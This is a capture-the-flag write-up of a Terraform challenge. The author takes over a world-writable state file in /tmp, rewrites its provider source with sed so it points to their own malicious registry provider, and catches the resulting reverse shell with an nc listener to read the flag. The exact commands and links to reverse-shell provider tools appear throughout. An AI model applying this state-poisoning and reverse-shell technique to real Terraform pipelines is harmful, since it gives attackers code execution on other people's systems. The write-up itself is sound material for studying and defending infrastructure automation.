Table of Contents

Introduction

Oh nice, this looks to be a Terraform challenge. This should be fun, rare to see these :)

State of Affairs

Starting off, the challenge description is:

=== State of Affairs ===

A cron job runs Terraform every minute as a privileged user.
The flag is in /home/tfuser/flag (read-only to you).

Can you make Terraform work for you?

Good luck!

Huh, that says I can read the flag… surely it’s not that easy…

terraform:/home/tfuser$ cat /home/tfuser/flag
cat: can't open '/home/tfuser/flag': Permission denied
terraform:/home/tfuser$ ls -l /home/tfuser/flag
-r--------    1 tfuser   tfgroup         40 Dec 22 12:46 /home/tfuser/flag
terraform:/home/tfuser$ id
uid=101(ctf) gid=102(ctf) groups=102(ctf)

OK maybe not. I guess we need to leverage Terraform and that is probably running as the tfuser user. Let’s find this cron and see what we’re working with. Also I notice the main.tf within the current working directory too… something for later.

terraform:/home/tfuser$ ls -alp
total 28
drwxr-sr-x    1 tfuser   tfgroup       4096 Feb 12 01:29 ./
drwxr-xr-x    1 root     root          4096 Dec 22 12:46 ../
-rw-r--r--    1 tfuser   tfgroup       3331 Feb 12 01:23 .terraform.lock.hcl
-r--------    1 tfuser   tfgroup         40 Dec 22 12:46 flag
-rw-------    1 tfuser   tfgroup       1251 Dec 22 12:45 main.tf
-rwxr-xr-x    1 tfuser   tfgroup       1147 Feb 12 01:29 server.crt
terraform:/home/tfuser$ ps aux
PID   USER     TIME  COMMAND
    1 ctf       0:00 /bin/bash
    7 tfuser    0:00 /usr/local/bin/supercronic /var/tmp/crontab
  676 ctf       0:00 ps aux
terraform:/home/tfuser$ cat /var/tmp/crontab
* * * * * terraform -chdir=/home/tfuser init && terraform -chdir=/home/tfuser apply -auto-approve > /var/tmp/tfoutput.log 2>&1

OK, so it is running terraform, changing directory to /home/tfuser/ and applying the output, saving the log in /var/tmp/tfoutput.log. Looking in that log file doesn’t look to be that interesting. I wonder where the state file for this terraform is…

terraform:/home/tfuser$ find / -name terraform.tfstate
/tmp/terraform.tfstate
/tmp/.terraform/terraform.tfstate
find: /root: Permission denied
find: /proc/tty/driver: Permission denied

OK, so it’s in /tmp/. Also, the crontab seems to keep crashing out after a while, so I need to refresh the terminal.

I do notice if I go to /tmp/ in a new session, I get there before the tfstate file has been created. If I were to claim the file beforehand, and let terraform write to it, I’d be able to control the file, and add stuff to it. Daniel Grzelak has a nice blog post covering an attack where you can add a malicious terraform provider to a state file to gain code execution during the terraform plan / apply stages. This is probably what we need to do.

First step, create a malicious provider. This has been on my todo list for ages, guess this is the kick I need to get started xD

Going through the blog Daniel has, and some research and some other blog posts (such as https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/ for the reverse shell code), I eventually make my own provider at https://github.com/Skybound1/terraform-provider-skybound/. I also set it up to be available through the Terraform registry. Woo. The provider doesn’t do much, just establishes a reverse shell with a hardcoded destination (one of my servers). Should be more than enough though.

Next thing we need to do is load it into the state file. This means refreshing the session, and taking over terraform.tfstate before the first run. We can then modify an entry within the state file once its been populated. My thought being to change the existing provider tags to my malicious provider through a quick sed command.

sed -i 's|registry.terraform.io/hashicorp/time|registry.terraform.io/skybound1/skybound|' terraform.tfstate

First to take control of the state file.

terraform:/home/tfuser$ cd /tmp
terraform:/tmp$ touch terraform.tfstate
terraform:/tmp$ chmod 666 terraform.tfstate

Now we wait for the file to be populated. Not long and it’s got some contents:

terraform:/tmp$ ls -lp
total 16
-rw-rw-rw-    1 ctf      ctf          15987 Feb 12 01:45 terraform.tfstate
terraform:/tmp$ sed -i 's|registry.terraform.io/hashicorp/time|registry.terraform.io/skybound1/skybound|' terraform.tfstate

Now we wait… a short while later…

$ nc -nlvp 8080
Listening on 0.0.0.0 8080
Connection received on 34.23.27.239 46370
cat /home/tfuser/flag
WIZ_CTF{B00tTh3St4t3_Trust_N0_Pr0v1d3r}

This is an attack I’ve discussed with numerous clients, but never had the chance to actively do beforehand, so it was good to give it a shot. Afterwards, a friend told me about https://github.com/offensive-actions/terraform-provider-statefile-rce which looks to do exactly what I was thinking of making, so that will be useful for the future :)